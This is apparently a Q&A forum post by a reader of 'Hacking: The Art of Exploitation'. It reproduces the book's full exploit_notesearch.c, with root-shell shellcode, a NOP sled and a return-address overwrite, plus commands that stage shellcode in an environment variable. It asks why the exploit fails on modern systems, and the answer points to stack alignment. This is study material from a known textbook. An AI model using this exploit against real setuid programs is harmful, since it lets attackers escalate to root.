为什么这个 shellcode 不执行？

Question

I'm working through Hacking: The Art of Exploitation and am running into my first snag trying to get a known working exploit to run from the book via an environment variable. All programs were compiled with -fno-stack-protector -zexecstack -no-pie -fno-pie .

Running exploit_notesearch.c (albeit with aa very specific offset), I was able to get the exploit to pop a shell by moving the offset with argv[1] . This works on modern OSes (with ASLR disabled) as well as the LiveCD included with the book.

notesearch.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

Further on in the chapter, we set the shellcode to an environment variable and attempt to redirect flow to the place on the stack where the SHELLCODE environment variable is set, halfway through the prepended NOP sled. However, this never executes the exploit on modern OSes but works just fine in the Ubuntu 7.04 live CD that came with the book. shellcode.bin is the shellcode at the top of the exploit_notesearch.c file ran with echo -en and redirected into a file.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

What is going on here that has changed between old OSes and modern? Is there a protection I'm unaware of that is preventing from riding the NOP sled to the shellcode?

Thank you.

Answer 1

The problem was stack alignment, compiling with -mpreferred-stack-boundary=2 aligns the stack similarly to the book.